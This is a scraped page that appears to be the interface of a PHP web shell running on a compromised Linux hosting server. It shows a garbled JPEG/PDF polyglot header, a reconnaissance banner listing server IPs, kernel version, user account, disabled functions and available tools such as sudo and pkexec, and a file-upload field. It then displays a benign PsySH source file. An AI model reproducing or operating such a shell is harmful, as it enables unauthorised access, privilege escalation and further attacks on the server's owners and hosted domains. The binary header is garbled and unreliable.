ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.185 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/_api/vendor/psy/psysh/src/Psy/CodeCleaner/ |
Upload File : |
<?php /* * This file is part of Psy Shell. * * (c) 2012-2017 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy\CodeCleaner; use PhpParser\Node; use PhpParser\Node\Stmt\Class_; use Psy\Exception\FatalErrorException; /** * The final class pass handles final classes. */ class FinalClassPass extends CodeCleanerPass { private $finalClasses; /** * @param array $nodes */ public function beforeTraverse(array $nodes) { $this->finalClasses = array(); } /** * @throws RuntimeException if the node is a class that extends a final class * * @param Node $node */ public function enterNode(Node $node) { if ($node instanceof Class_) { if ($node->extends) { $extends = (string) $node->extends; if ($this->isFinalClass($extends)) { $msg = sprintf('Class %s may not inherit from final class (%s)', $node->name, $extends); throw new FatalErrorException($msg, 0, E_ERROR, null, $node->getLine()); } } if ($node->isFinal()) { $this->finalClasses[strtolower($node->name)] = true; } } } /** * @param string $name Class name * * @return bool */ private function isFinalClass($name) { if (!class_exists($name)) { return isset($this->finalClasses[strtolower($name)]); } $refl = new \ReflectionClass($name); return $refl->isFinal(); } }